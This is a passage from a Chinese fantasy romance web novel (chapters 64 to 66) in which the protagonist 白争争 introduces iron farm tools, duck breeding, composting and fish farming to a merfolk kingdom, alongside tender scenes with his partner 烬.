白争争:“嗯?你算管理人才。” 菱道:“你可别忘了,我现在还要弄什么肥料,王把我一个当两个使。” 白争争不好意思,这点子好像是他提出来的。 “能者多劳嘛,而且他说嫂子你手下有不少兽人能用呢。” 菱下巴一抬,“不是都在这里了。你看他们像愿意搞肥料的兽人吗?” 白争争:“那要不……我帮忙?” “算了吧你。我找秋借兽人去,他护卫队的兽人多。” 不一会儿,农具组装好。 菱拎了一铁耙出来,在地上刮了刮。 “这么用?” 白争争点头道:“这个用来松土。” 他又拿了把锄头来,往地上轻轻一抡,锄头轻轻松松嵌入土中,看得菱当场就变了脸色。 兽人们也要耕种,也要翻土,但他们用的都是石器或者是骨器。 那些往往很重不说,还得费力气才能插进土里去。 菱之前想着制作铁器,无非就是想给人鱼兽人配备武器。这样他们不止可以用爪子和尾巴战斗,也能利用更长的长枪又或者更锋利长刀作战。 这会大大提高砍兽人的效率。 白争争说的农具,他虽然感兴趣,但也没多大期待。 他们人鱼王国的兽人耕种已经很成熟了,翻地的工具不是没有。但直到看到实物,才知道这其中的差距有多大。 更甚至,在白争争教兽人们怎么用犁头的时候,兽人只需要用点力气在前面拉,那需要很多兽人翻耕许久的土地,轻易就摊开了它的身体,变得蓬松柔软。 菱大喜,当即拍手道:“好东西!” 兽人们一听,半信半疑放下手中的锤子钳子,凑拢了来。 一看那秋日里被草根扎得紧实的土地被轻轻松翻了个面,露出根系,便皱紧眉头,瞧着地上那大家伙。 “这个弄的?” “那还有假!”前面变做豹子拉着犁头的兽人,眼里都是激动。 “嘶……是不是有些不对。” 白争争:“我不是给了完整的图纸,还得加犁臂这些。” 兽人们挑挑拣拣,拿着藤筐里的东西试起来。 他们做的时候只做了个头,没嵌木头也没缠绕草绳兽皮。 有兽人拿了那锯齿边缘的镰刀,左右挥了挥,砍断了一旁的野草。 看野草皮挂在上面,道:“也不是很锋利。” “不是这样用的。一只手抓着根上面一点,另一只手轻轻一拉——” 说着,兽人动手,一把干草轻轻松被割了下来。 “哎哟!” “哎哟!” 兽人们齐呼。 “这比石头好用多了!” “要是用来割毛草,用来割稻子、麦子!那岂不是几下就割完了!” “好东西,确实是好东西。”兽人抱在手上,不想放了。 他是六大部落的兽人,自家部落里也有地,专门种粮食。每年收割的时候,就是兽人们最愁的时候。 那稻叶、麦芒最是刺人,偏偏石刀不好用,兽人们弄得浑身痒痒,还不敌直接来一刀痛快。 “诶!第一把,你抢什么!”豹兽人话音刚落,藤筐里的农具几下被分走了。 菱翻了个白眼,抱着双臂,看两个正在抢犁头的兽人道: “得了,现在又不种地,你们抢也用不上。不如赶紧趁着空闲,多做几批。不然真正忙起来,你们连回家的时间都没有了。” 不只是农具做出来,烬要的那些武器也做出来了。 现在秋的护卫队已经配了,不过得先用一用,看看哪些趁手,然后结合兽人们使用意见,再改进改进才批量生产。 武器做好,南部那些人鱼离死也不远了。 “那没我的事儿了?”白争争道。 菱:“嗯,去找烬吧。” 白争争:“我下来又不是找他的。” 菱一笑,揶揄道:“都是伴侣,找他不是很正常,我不会笑话你的。” 白争争脸一红,匆匆从地道直接去城堡。 议事厅外,白争争找过来时,烬还在跟兽人们说话。 白争争在外面等着,就听烬道:“海岸那边,加紧巡逻。传信给第二环岛的部落,小心南部……” 看来南部那些人鱼还在作妖,没准儿又开始动手抓兽人了。 白争争低头琢磨着怎么样快点帮人鱼。 要想马儿跑,就得给马儿吃草。 人鱼海上作战,他们是战斗的主力。人鱼王国里,其他食物管够,就是缺肉。 不吃肉的兽人,哪里来的力气干活。 他现在北边的角兽没个几年成不了规模,后山的野鸭今年冬季不停孵化,到明年有个千来只。 不够。 先前设想的海产养殖,得开始着手了。 在此之前,他需要知道目前人鱼王国主要食用的鱼类。 先前统计过,不过他这部分没注意,得再看看。 “想什么呢?” 白争争下巴痒痒,下意识抬头半眯着眼,让烬挠得更舒服些。 他余光瞥了眼屋里,才发现兽人们都走没了。 他居然都没有发现。 烬见白争争的半眯眼的乖巧模样,就差呼噜呼噜出声了。 他笑了下,低下头与他鼻尖贴着鼻尖。 “找我?” 白争争眼睫一颤,被漂亮脸蛋攻击得心噗噗跳。 “不找你。”他转身就进了屋内。 烬挑眉,看到了伴侣红了的耳垂。 他进屋关门,就看白争争跑到架子上找东西去了。 白争争:“上次兽人们调查的海产情况放哪儿了?” 烬勾过伴侣的细腰,轻轻一提,抱到凳子上。他圈住人道:“想知道什么,问我。” 白争争被这姿势弄得脸红,往后仰了些道:“我自己能看。” 烬挠挠他下巴:“哪有你伴侣好看。” 第65章 第 65 章 沤肥 烬处处长在白争争心上, 哪里招架得住他故意引诱。 左躲右躲,最后挂在自家伴侣身上被吻得意乱情迷,还是后腰隐隐泛酸,才及时止住。 他气喘吁吁, 脑袋藏在烬的颈窝, 任凭耳朵再怎么被咬得痒痒也不出来。 烬松了口, 看泛红的耳廓, 低头用鼻尖轻擦而过。 白争争呼吸微促道:“我来干正事儿的, 你稳重一点。” 烬低笑, 将他往怀中搂了搂。 “我哪里不稳重了。” “那你找我要的兽皮去。”白争争颤颤巍巍抬头, 下巴微仰, 示意他自己看。 唇都破了。 烬掌心托着他后背,往怀里一送,两人紧密无间。 他低头,白争争瞳孔收缩,脑袋还没来得及转过去, 唇又被咬住。 他撑着烬的胸膛, 呜咽着, 最后又被欺负得眼角湿润,软绵无力。 烬将伴侣抱了满怀,香香软软的,他忍不住舔了下尖牙,牙根还是痒痒。 看着眼前细腻润白的颈子,烬想也不想低下头去。 白争争有气无力哼哼。 烬叼着软肉磨:“不是想知道海鱼的事?” 白争争:谁这个时候还能冷静下来听他说海鱼啊! 最后,白争争好歹是齐整从屋里出来,也知道了自己想知道的。 就是走路有些别扭,面颊绯红, 见到有兽人经过低下头迈着小步子走得飞快。 他回到城堡这边的屋子,躺在兽皮上,默默手往下扯了扯兽皮。 磨得慌。 * 王国里的海鲜事海洋兽人从海中捕捞,然后在王国里贩卖。 人鱼族有自己捕捞队伍,但往往需要很久,才能有捞到足够多的海货。 在肉类缺乏的时候,兽人们一般不挑,捞到什么吃什么。 烬给了白争争建议,若是养鱼的话,可以养一种名为大扁鱼的鱼类。 这种鱼在兽人们如今的食谱上最常见,往年鱼还很多的时候,这种鱼泛滥了都没人鱼吃,但现在却成了兽人们食鱼的主流。 无他,这种鱼最能繁殖。 兽人们一直以来都只管捞,陆地上肉类没了就大量捕捞海中的,导致现在就是这大扁鱼也不多了。 烬说这鱼生命力顽强,应该比其他好养。 养鱼跟养野鸭一样,需要有种苗。孵化鱼苗比孵蛋难多了,种鱼都得先养活了再说。 但这鱼一上岸,很容易死,除非人鱼下海抓。 白争争思来想去,这活儿他一个人干不行,得要帮手。 他撑坐起身,正要出去问菱要点人手,走到门口,却见龟鸣从大门出去。 白争争眼睛一亮。 他嫂子人手还不够呢,不用麻烦他了。这不是有现成的吗? “龟鸣!” 龟鸣精神一振,下意识就快步走。 白争争挡在他前面,龟鸣呵呵假笑两声道:“争争,你怎么下山了?” 白争争笑得友善:“这不找你呢。” 龟鸣一看不对,赶紧跑,却被白争争一把抓住。 他急道:“我才帮清捞了鱼,你不能再让我干活了,这跟奴隶有什么区别!” 白争争:“奴隶能吃饱吗?奴隶能到处走吗?咱是朋友,现在我就请朋友帮帮忙,你帮还是不帮?” “不帮!”龟鸣抬脚就溜。 白争争追了两步,慢慢停下,龇牙咧嘴暗骂了一声烬。 烬听到动静出来,就见白争争撑着墙壁,嘀嘀咕咕:“难受死了!” 烬躬身,揽着他坐在手臂。 白争争忙搂着烬脖子,蹬了他一下,道:“走路也不出声,吓我一跳。” 烬:“想让龟鸣帮忙?” 白争争道:“那不是他正好闲着。又抓了这么久的鱼,技术练出来了。” 烬:“龟族还没走,现在王国里也还用不着他们。我帮你去说一说。” 白争争:“不用,搞定龟鸣一个就够了。” 烬侧脸贴着自家伴侣的腰身,道:“中午了,该上山吃饭了。” 白争争抓了一把他的长发,冰凉丝滑,攥在手里就不想放。 “你不忙吗?” “忙完了。”烬没打算将人放下,就抱着白争争着。 白争争动了动腿,忙道:“放我下去,我去看看大黑孵的蛋。” 烬随即调转脚步,往城堡西边去。 第一批小野鸭长到十天,三黑、四黑、五黑孵的第二批就出壳了。 白争争一窝放了三十个,一共就是九十。期间淘汰了十几个,小鸭子孵出来七十六个,不过刚出来被三黑踩死了一个,还剩下七十五个。 算上之前的七十四只,小鸭子的数量一共就有一百四十九只。 一下子就超过了成年野鸭的数量。 这期间,又七八座房子建好,白争争将野鸭匀出去其他屋里。 一个圈里十只,至少保证一个圈里有一只雄鸭。 受.精蛋越来越多,小鸭子也孵化得愈发顺利。就连三个幼崽都已经掌握技巧,替白争争帮了不少忙。 等到野鸭孵出来两百只后,这边的建房以及筑栅栏的活儿完成,龟鸣不那么忙了,就被白争争派出去捞大扁鱼去。 秋高气爽,万里无云。 山上的树叶黄透了,风一吹,打着旋儿飘下,在地面积了厚厚一层。 零星的果实挂在上面,多半一面发黑,是被鸟或虫子咬出来的窟窿腐烂了。 山脚下,这会儿野鸭嘎嘎叫着,比菜市场还热闹。 林猫兽人们跟几个食草兽人拿着菱那边新做出来的一批剪刀,正在给野鸭再次剪羽。 剪完了,便放出来,野鸭们拍着翅膀往河边跑去。 上百只成年野鸭呼啦啦的,如洪流一般,光是叫声就吵耳朵。 有些试图飞,不过也就低低飞了几米,又落下来。 白争争忙完了,拍掉身上的羽毛,又让兽人们将窝里的野鸭们筑巢的羽绒收集起来,最后给圈里来个大清扫。 成年野鸭窝里放了架子,是后放的。 架子上是它们筑的窝。 底下搁了草木灰,厚厚一层,有些微湿,都是野鸭拉的屎。 兽人们将这些草木灰铲起来,一块一块的,颇重。最后用藤筐一筐一筐运出去,堆积在之前挖的大坑中。堆到明年,能直接用来施肥。 这边兽人们将圈里刚清理完,又洗干净手,在另一个屋换一双鞋。 这边是新修的房子。 白争争把两百只小鸭子搬过来,按照二十只分圈养,单独养在一个屋。 兽人们进出都得换兽皮、换鞋,他现在没个消毒的措施,只能麻烦一些。 进去之后,空气中弥漫着一股小鸭子的味道。微臭,但比成年野鸭那边好受一些。 第一批出来的小鸭子在长硬羽,最先是翅膀长。尾巴也翘了。 白争争一来,它们啪嗒啪嗒跑到边上来,轻轻叫着讨食吃。 检查了一下小野鸭的情况,白争争留下喂食的鹿花他们就出去了。 远远的,见烬带着几个不算陌生的兽人过来。 守在门口的豹大两兄弟打开围栏,让他们进来。 白争争洗干净手,迎上去,有些疑惑。 烬道:“这是六大部落的族长,他们有事找你。” 白争争点点头,请兽人们去屋里坐。 厨房里,清看见,端了些水跟瓜果过去。都是后山摘的,卖相一般,但正新鲜。 烬不过是带几个族长来见自己伴侣的,到了地方,就挨着白争争坐着。 借着桌子遮挡,抓过他的手捏着玩儿。 几个族长见他不开口,犹豫着,不好意思道:“争争,我们来是想问问,你这个养野鸭的法子能不能教一教我们?” 与鹿兴他们这些兽人看新鲜不同,大部落的兽人那时也早早派兽人来看过。 他们关注着白争争的一举一动,当确认他能孵出野鸭蛋,且还不是偶然之后,才有了这次行动。 他们本来今天一起找到烬,是想通过他说一说。 但烬说养野鸭的事是他伴侣做出来的,教不教,要看他。 这不,他们就只好找来了。 白争争道:“目前第一批野鸭还没长大,我也只是把蛋孵出来了,能不能成还得看最后。” “能孵出来就已经很好了。”鹰族长有些急切道,“你放心,我们不白知道这法子,你想要什么,只要我们能给,一定给。” 白争争摇摇头:“我做这事的初衷只是为了人鱼王国的兽人能吃得上肉。” 换言之,只要数量够,六大部落的兽人也不是分不到肉。 “可你一个人,我们王国这么多的兽人,要养到什么时候去。” 这话也不错。 白争争看向烬。 烬捏着他掌心,跟揉面团一样,只道:“不缺兽人,现在这个规模也只是因为野鸭种鸭太少了而已。” 白争争:“是这样的。” 而且现在才开始,一下养太多,白争争担心控制不住。 六个族长面面相觑。 白争争道:“当时那一百只种鸭也是你们的兽人抓的,应该知道种鸭不好抓。” 为首的虎族长沉吟片刻,道:“抓不抓得到是我们的事情。但要是真的能养,我们哪怕出动一半的主人都必须抓回来。” 白争争看他们这么坚决,又想想现在要满足人鱼王国的吃肉不知道要到何年何月。 六大部落的族长与人鱼族亲厚,又有那么多兽人,白争争道:“法子不难,告诉你们也行,但我有一个条件。” “你说。”几个族长殷切看着白争争。 白争争道:“我希望你们养出来的野鸭,拿出来一部分交给王国,供养战士。” “可以!”几个族长几乎不用想,张口就道。 本来几个大部落都是食肉部落,他们想养,也是实在弄不来肉了。 不说远了,就说前段时间兽人们拿部落里的粮食出去换肉,带回来的也没多少。 都不够吃。 再者,王国里的战士有很大一部分都是他们六大部落的兽人。他们也知道外面人鱼守着王国艰难,供给王国,也是帮他们稳定现在的生活。 而且作为获得养殖法子的交换,这样也无可厚非。 白争争看他们答应得这么快,愣了一下。不过想到兽人们对肉的渴求,也是理所应当。 他道:“那你们安排几个兽人过来学吧。” “几个合适?”虎族长赶紧问。 白争争:“三五个,多了乱,也学不精。” 族长们巴不得多来一些。 “好,那就五个!” 白争争:…… 也行。 “先说好,要是不认真学的,别来。” “我们知道。” 这事儿就这么定下,几个族长生怕白争争返回似的,当天下午就将兽人送来了。 一共三十个兽人,各个背着包袱。 一个个脸上迷茫,像被亲爹赶出家门,无家可归的流浪兽人一般。 见到白争争,眼里都是希冀。 清立在白争争旁边,看着这群兽人进了围栏,低声道:“看样子是要住在这里。” 白争争:“哎!还好有多的房子。” 三十个兽人中,亚兽人偏多。 山后如今十来座房子,足够兽人们居住。 清领着他们去安顿。 白争争这会儿没事,坐在河边守着鸭子,撑着下巴发呆。 幼崽在岸边翻土,挖了不少蚯蚓,小鸭子能长这么壮实,有他们的功劳。 三十个兽人放下东西,随后就往河边来。 一个六个大部落,每个部落都有个领头的兽人。年长的年轻的都有,看着都颇为稳重。 白争争认了人,便道:“你们现在先熟悉一下后山这边,我找兽人带领你们先喂几次野鸭,了解一下他们的习性。” 兽人们没什么意见。 后山一下子添了些兽人,都是些实诚的,眼里有活儿,有事就会帮忙做。 他们不是跟着象宝几个食草兽人喂野鸭,不然就跟着幼崽翻蛋。 相处几天,渐渐也熟悉起来。 晴了几日,雨下了下来。 兽人们一上午跟着白争争学了些孵蛋的技巧,下午没事,坐在屋子里闲聊。 白争争捧着热水,听着兽人们说话。 虎族领头的是个大白虎兽人,兽形威猛,跟一座小山似的。但是他脾气好,现在林猫幼崽跟他混熟了,常常往他身上趴着。 天气冷了,他身上格外暖和,深受幼崽的喜欢。 虎呼抱着林猫幼崽,说起山下的事情。 “王也不知道怎么了,下令把城里的脏东西都收集到一起去,那么多,路过回去都臭得我头晕。” 白狼兽人阿七道:“王让菱做什么肥,要用那个种地。” “你怎么知道?”兽人们问。 狼七:“我听我们族长说过。” 鹰勾:“都堆了那么多了,要是全倒地里,得多臭啊。” 芽蹲在虎呼的肩膀上,后爪蹬着耳朵道:“全部垃圾都堆在一起啊?” 鹰勾:“哪里,分开的。骨头贝壳这些还专门分出来的。” 白争争:“以往这些你们是倒哪里的?” 狼七:“挖坑啊,倒满了埋了就是。” 白争争:“夏天不臭?” 狼七:“坑挖深一点不就好了。” 虎呼:“也不全是,有的会往林子里倒,有的会往海里倒。反正森林跟海那么大,倒进去也没什么影响。而且我们也不去那边,闻不到不就行了。” 兽人们默默点头。 他们一直是这样做的。 白争争:“那你们种地怎么种?” 幼崽也踩着虎呼的麒麟臂,扬起小脑袋看着他们。 鹰勾道:“除了草,松松土,挖个坑埋下种子就行了。” 狼七补充:“还要撒点草木灰。” 虎呼:“中途再倒些粪水。” 兽人们又直点脑袋。 就是这样的。 “中间呢,不除草,不补苗,不杀虫?” 虎呼:“要啊,但是除草太麻烦,我们一般都是让幼崽去。虫子也让幼崽捉。” 白争争:“没了?” 兽人们想了想,一脸茫然摇头:“没了。” 白争争道:“也还好。” 狼七:“我也觉得,所以王从哪儿想的法子,收集那些不要的东西。” 白争争装傻:“我也不知道。” “那堆肥的位置在哪儿?” “东边,王城外头。” 白争争打算找个时间去看看。 说着说着,又到了翻蛋的时候。 不用白争争提醒,兽人们自己就记着时间,小心翼翼地将炕上的蛋翻了一遍。 这一批蛋多,有一百来个。 弄完后,又坐回来,道:“争争,我听说你大半的鸭蛋都是食人鹰孵的?” 白争争:“是,得亏它们帮忙。” 虎呼:“要是抓个几百只,是不是就不用这个炕了?” 兽人们要养,回去还得修这个东西。 白争争:“那你还得养食人鹰呢,那么多,怎么养。” 要是能抓这么多食人鹰,他们还愁肉吃吗? 上山学习的兽人有鹿花他们先带着,幼崽翻蛋的时候也巴不得叫上他们。 白争争轻松了些,干脆趁着还有时间,等雨下得差不多了,就打算去兽人们说的沤肥那地儿。 后山有代步的食人鹰,白争争现在已经跟它熟悉了。 白争争将它唤来,又看清他们现在还歇着,问:“清,去不去山下?” 清:“回家?” 白争争道:“不是,看看沤肥沤得怎么样了。” 清:“去!” 年是跟屁虫,清去哪儿他也去哪儿。 风那几个不想跟着,就在河边捡野鸭生在外面的蛋。 三个兽人坐上食人鹰,径直往东边飞,过了一会儿,就闻到一股酸臭味儿。 清默默捂住鼻子。 年将脸往他肩上一埋,闷声道:“这也太难闻了吧。” 白争争:“好在快冬季,要是夏季没谁受得了。” 食人鹰越过城墙,又飞了一段,最后落在一处平坦的开阔地上。 在天上时,地面的几个大坑看得清清楚楚。 清憋着气儿道:“要沤肥也不该在这儿,地都不在这边,怎么搬过去?” “还只是试一试。”后头传来菱的声音。 只见他用兽皮捂住鼻子,皱着眉头,也好受不到哪里去。 白争争没想到这还能看见他。 而且他哥……那么冷淡一个兽人,现在成日里跟在他嫂子屁股后头转来转去。 可见真爱! 白争争弯眼招呼:“哥!” 鹤点点头,然后立在菱身边一动不动。 菱道:“按照你之前说的,王国里搜集起来的东西都是分了类堆在一起,拌了土,但味儿还是大。” 白争争:“整个盖子。” “我叫他们试试。”菱道,“对了争争,你说的那骨粉什么的,我们分蛋壳跟骨头都分了好久,而且这些怎么碾成粉?” 白争争:“你们可以叫每个部落扔的就分一分类别啊,还自己分,那得多难受。” 菱:“这不是王催得急,直接收的兽人们本来就扔掉的东西。” “骨粉骨粉,这东西怎么弄成粉?”菱现在愁这个。 白争争:“是个难题。要不弄个石碾子试试?前头兽人拉,靠着石头自身的重量压。” “那也难。”鹤道。 白争争道:“那就晒,使劲晒,晒得干干再压。咱种地的量太大了,光是制作骨粉就耗时耗力,实在不行……” “嗯?” 白争争缓缓翘起唇角,“咱大批量地弄太难了,要不然咱不收骨头,直接收做好的骨粉。” 菱一拍掌,眼睛都亮了。 “是个好主意!” 兽人们力气都不小,但骨头堆积在一起弄着实浪费时间,不如直接收集成品。 只需要一点银币或者用一点粮食交换,兽人们会愿意占这个便宜的。 没用的骨头嘛,能换银币,兽人们抢着弄! 菱高兴地揉乱了白争争的头发,越看越喜欢。 “脑袋瓜是真聪明!” 白争争嘿嘿一笑,看着他哥道:“我哥聪明还是我聪明?” “你哥。” 白争争垮脸。 自取其辱。 清跟年哈哈大笑,一不小心大口吸气,一股子难闻的气味儿弄得他们作呕。 白争争:“看吧,让你们笑我。” 白争争跟菱说了会儿话,就去那几个大坑边看了。里面大都是果皮碎骨这些食物残渣,混着泥土,不怎么好看。 按照腐烂的情况来看,还得一段时间才行。 “要弄肥料的话,还是离耕地近一点好些。” “这不是快冬天了,吹北风,怕熏到城里的兽人们才在这里试试。”菱道。 “对了,祭司不是在弄杀虫药吗,有眉目了吗?”白争争问。 菱道:“有,祭司通晓各种植物的药性,这个他做着快得很。” “要不带你去看看?” 白争争摇头:“做出来了看也是一样的。” 菱又道:“听说你还要养鱼?” 白争争:“嗯,叫龟鸣去找鱼去了。” 菱:“找我啊。” 白争争:“你那不是忙吗?” 菱:“说得也是。” 这边就几个大坑,几间临时搭建起来的屋子跟一块地的植物。 白争争注意到屋子里还有些大大小小的罐子,都泡着各式各样的蛋壳、果皮之类的。 这些倒是没味儿了。 而那些植物细看还是有些区别,有些苗发黄,有些苗叶片卷曲,还有些长得根深叶茂…… 几个兽人在屋里走来走去,对着兽皮写写画画,看来这边也是试验一段时间了。 白争争只是过来看个热闹,这些事儿用不着他操心,看完之后,就跟兽人们结伴回了。 第66章 第 66 章 买地 兽人们学得快, 从野鸭蛋开始孵化,一直到孵出来,他们在这里呆了整整一个月。 这期间,他们还跟着鹿花喂前头几批小鸭, 该学的也学得差不多了。 部落那边传来消息, 野鸭已经抓回来了, 只等他们回去。 兽人们再不舍, 也只能收拾行李, 下了山去。 到现在, 头一批小鸭都有一斤大小, 能跟大鸭子一起下水了, 但这么久龟鸣却一点消息都没有。 白争争打算下山打听打听。 走至半路,看人鱼祭司背着藤筐,带着不少兽人在林子里找来找去。 白争争停下,打了招呼:“命祭司,在找草药?” 命笑道:“是, 在找做杀虫药的草药。你去哪儿?” 白争争:“下山问问, 龟鸣都走了那么久了, 还没回来。” 命祭司道:“快了。” 白争争:“您知道?” 命祭司笑着递给白争争一个刚挖出来的根茎,拳头大,“我估摸着差不多。这是土瓜,尝尝。” 白争争接过,“谢谢祭司。” 命祭司另一只手里拿着小锄头,是兽人们新做出来的。藤筐里都是些树根,长叶的植物少。 他道:“我还要继续找草药,就不跟你闲聊了。” 白争争点点头,在原地站了一会儿, 想着还是要下去一趟,便穿过林子往山坳到了城堡。 白争争在城堡里找了几圈,只在卧房那屋中看到水池边放上去的兽皮衣。 是烬今天穿的那件。 人鱼喜水,城堡很多个屋子都有这池子,连通海水,往下直接能到海里面。 他蹲在水池边,撩动了几下。 水波荡漾,往下是幽暗的黑。 烬应该有事,他想罢起身,打算去找菱问问。才走几步,忽然听到身后的水池里哗啦一声。 白争争转头,就看烬从水里冒出来。 湿润的头发贴在身前,饱满的肌肉若隐若现。 他喉结动了下,惹得烬轻轻一笑。 他撑坐在水池边,巨大的暗红色鱼尾半落在水中,笑着冲着他道:“争争,来。” 白争争耳垂蓦地一红,矜持地捏着自己兽皮衣角道:“这怎么好意思。” 烬笑出声,眉眼生光。 “那我走了?” “别啊!”白争争嘿嘿笑着冲着跑过去,被烬接住,坐在他大尾巴上。 鞋一脱,脚丫子蹬着大尾巴往下滑。快要落水时,烬将他的脚一捏,拉回了放在水池边。 “天冷了,水里冷。” 白争争下巴贴了下烬湿润的肩膀,手悄悄覆盖在烬的腹肌上,点点头装乖巧。 “确实冷。” 还是夏天抱着舒服。 烬扫过他不安分的爪子,偏头叼住他耳朵磨了磨。惹得白争争不得不收回爪子,捂着自己的耳朵笑着求饶。 烬看着目光柔和,环抱着他问:“找我有事?” 白争争笑累了,趴在烬胸口,也不嫌弃他湿漉漉的。 “对,龟鸣出去那么久了,大扁鱼的影儿我都没看见。” 烬:“他跟龟族其他兽人一起走的,多半会回一趟部落。” 白争争:“那就是了,我还以为抓大扁鱼要去环洲最外围呢。” 白争争撑着烬的肩膀起来,看他尾巴变腿,忙抓着兽皮盖在他腹部。 烬低头看上一眼,慢条斯理地将兽皮穿上。 白争争脸有些发烫,手背摸了摸,降不下温,干脆走到烬身边往他胸口上一贴。 烬看了,他故意喟叹:“舒服……” 烬闷声一笑,白争争趴在他胸口能感受到震动。 他抬眼望着烬道:“我刚刚下来的时候遇到祭司了,他们很多个兽人,在找草药。” “嗯,为了做杀虫剂,城堡这边储备的一些草药不够了。” “有效果吗?” “有,但是不稳定。”烬牵着伴侣的手腕,打算带他去看看。 白争争却反手将他拉住,按在兽皮上坐下。 “我给你擦擦头发。” 烬一顿,盘腿坐好,目光追着亚兽人,直到他拿了兽皮回来。 白争争半跪下来,撩着烬的头发抓住。 他头发生得极好,又浓又密,加上长到腰后了,抓起来很有分量。 兽皮不比毛巾,吸水效果没那么好。只能擦掉一些,剩下的等自己干。 烬鼻尖是伴侣身上的清香,闻习惯了,没有这个味道都睡不着。 等人绕到前头来,他圈住白争争的后腰将人拉到怀里,大脑袋往他身上靠着,半阖着眼犯懒。 “快冬季了,再给你多做几身厚实的兽皮衣。” 白争争:“够穿。” 烬:“后山冷。” 白争争:“说起这个,还要给角兽养殖场那边再送一些兽皮跟粮食过去。” 烬:“放心,我让兽人去了。” …… 冬季来临,燕雀销声匿迹。 海风吹得更为肆意,如细刀子,割得兽人们露在外面的皮肤泛疼。 这边虽然没到下雪的地步,但海风大,依旧冷。 白争争此时正在新房子这边,他是被他阿爸叫回来的。 部落卖饼子的生意好,如今可以拿出些银币购买房子了。 但也只能买一两座,依旧不足以购买整个部落都能居住的地块儿。所以兽人们在商讨,是买两座房子,让族人们暂且住得松散舒服些,还是存起来再等等。 屋中陶盆里堆着木柴,整个部落的兽人都在。 大伙儿一起坐在兽皮上,围着火堆,中间又放着些果干儿跟麦饼。 室内不见风,只余温暖。 白争争变做林猫,趴在地上。 幼崽们围了他一圈儿,嚣张的直接踩到他背上趴下来。 白争争爪子扒拉了下,将绒球抱到身前。 幼崽的绒毛被火光烘得暖融融的,白争争一头埋下去,舒服地眯了眯眼。 旁边的成年兽人们还在商量,各有想法,一时间拿不定主意。 他哥鹤道:“阿父,我们确定不回原来的地方了?” 照板着脸道:“难不成我们忙了这么久,赚的银币带回去数着玩儿?” 鹤笑道:“我不是这个意思。要是真的不回,那部落的事情需要好好想想。买两座房子又或者存起来……我觉得都不如买地。” “买地?” “那不跟买房子一样吗?” 白争争懒洋洋道:“我哥的意思是买耕地。” 鹤看了眼压在幼崽肚皮下,只抬得起脑袋的白争争一眼,戳了戳幼崽屁股,让他们下来。 照:“鹤,你是说我们自己种地?” “可是我们不会啊。” “对啊对啊。”幼崽胡乱应喝。 白争争:“不会可以学嘛。” 鹤:“王国里的房子很贵,我们一家一座房子要几年才能买够。那些就慢慢攒,急不来。” “但是种地我们可以自己种做麦饼的原料,不用额外花银币跟人鱼买,粮食问题也能自己解决。后头能省下不少银币。” 兽人们听完,细细一琢磨也觉得有道理。 他们以往填饱肚子都是靠自己捕猎和采集,现在靠卖饼换了银币再去买食物。 虽说麦饼受欢迎,他们也能挣,但王国里的东西都太贵了些。 花一次他们心疼一次。 绒球的阿父扑道:“可以。咱们兽人多,全守在这边也没什么事做,不如一部分去种地。” “我也同意。” “同意。” 照目光落到角落里的那个装得满满当当的兽皮袋上,有些不确定道:“这点银币,能买多少地?” 他们最近生活在人鱼王国里也知道,这里什么都贵,尤其是食物。几百银币才换得到一块肉,可想而知一块产粮食的地得多贵。 白争争道:“得问。” 鹤:“我们买后山的,靠近争争养野鸭那边,能买一大块。” “你问了?”白争争转头看他哥。 鹤手指划拉了下自家弟弟的额头,道:“嗯,打听过。” 越靠近王城,土地越贵。 耕地本来就已经在王城外围了,争争那养鸭子的地方更是在王城围墙之外,都翻过一座山了,自然便宜。 不过就是有个问题,需要他们自己开荒。 但他知道菱那边最近在大量生产农具,有了那些,开荒问题不大。 白争争:“那我等会儿就去王国里问问。” 鹤道:“菱管这事,我直接跟他说一声,把银币送去就行了。” “好。”族人们看着他笑。 看来他们祭司早就想好了,连该打听的都打听清楚了。 鹤被族人看得有些不好意思。 这边商量完这事儿,兽人们又闲聊起其他。 白争争今天难得给自己放一天假,打个滚儿,爪子搂了搂绒球,继续抵着幼崽打盹儿。 还没睡多久呢,外面忽然喊道: “争争!争争在不在?” 白争争疑惑地爬起来,走到门边。 门口城堡的兽人道:“争争,龟鸣回来了。” 白争争精神一振。 “在哪儿?” “城堡呢,才上岸。” “谢谢,我马上来。” 白争争回去变成人形,穿好兽皮,踩着兽皮靴就往城堡跑去。 幼崽想跟着他跑,走到门口就被成年兽人捞了回去。 “外面冷,争争有事顾及不到你们,别去了。” 幼崽垂着尾巴又回去。 白争争一口气跑到城堡,在外面的广场上看到了趴在上面的龟鸣。 还没来得及高兴,看他垂着脑袋,丧眉搭眼的,道:“这是怎么了?” 龟鸣:“争争,我没带回来大扁鱼。” 白争争一顿,笑道:“没带回来就没带回来,你哭丧着个脸干什么?” “啊啊啊!!!你都不知道!为了给你带回来那个鱼,我往回走了几次!那鱼抓到后我们往回游,每次都是没走远,它们就死了!我又回去抓,抓了又死!又抓,又死!” “我走了四五次,全死了!” “最后只有跟族人一起在水里赶它们走!可是它们是鱼啊,一追就乱窜,跑了我们还要再去赶回来。” “好不容易快到岸了,它们又跑了,我一气,张嘴就把它们咬住。然后就……咬死了呜……呜呜……我好难啊!” 龟鸣边说边嚎,形象也不顾了,一屁股坐在地上发泄委屈。 白争争看到他眼泪都出来了,可想而知折腾了多少次。 他默了默,心里涌上些愧疚。 “是我没考虑周全。” “你、你别哭了。” 巡逻的护卫都被他嚎过来了。 “我好苦啊呜呜呜……” 白争争看着气势汹汹拿着长枪过来的秋,赶紧拉他道:“龟鸣,换个地方哭,快走!” “我不呜呜……我好累啊,那鱼好烦啊!呜呜呜呜……嗷!” 白争争默默往后退了两步。 秋长枪戳着龟鸣的屁股,疼得他一蹦而起,嘴唇哆哆嗦嗦直颤,可不敢再吭声了。 秋看向白争争:“他伴侣跟兽人跑了?” 白争争:“……” “你伴侣才跟人跑了!”龟鸣抹了两把脸,总算是不哭了。 “那你在城堡嚎什么?小心我给你龟壳掀了!”秋威胁道。 龟鸣缩了缩脖子,捂着嘴,不敢吭声。 秋瞥他一眼,抬手一招,带着自己的属下继续走。 白争争道:“没带回来就算了。辛苦你了,我去给你拿银币。” 龟鸣:“我不要。” 白争争有些奇异道:“看来真难受了,银币都不要了。” 龟鸣:“我帮兄弟,要什么银币。” 白争争:“亲兄弟还明算账了,再说了,咱之前不是说好的。” 白争争没容他拒绝,直接将商量好的银币拿给他。 龟鸣:“那我就不客气了。” 他捧着,塞进自己龟壳,然后跟在白争争后头道:“你真要养大扁鱼?那鱼弄回来都难,怎么搞?” 白争争:“暂时没头绪,只能先放一放了。” 龟鸣:“对,还是好好养野鸭吧。” 龟鸣跟着他阿爸他们回了一趟族里,报了平安之后,又回了人鱼王国。 烬这边之后有事安排他们做,还给龟族分了几间屋子给他们休息。 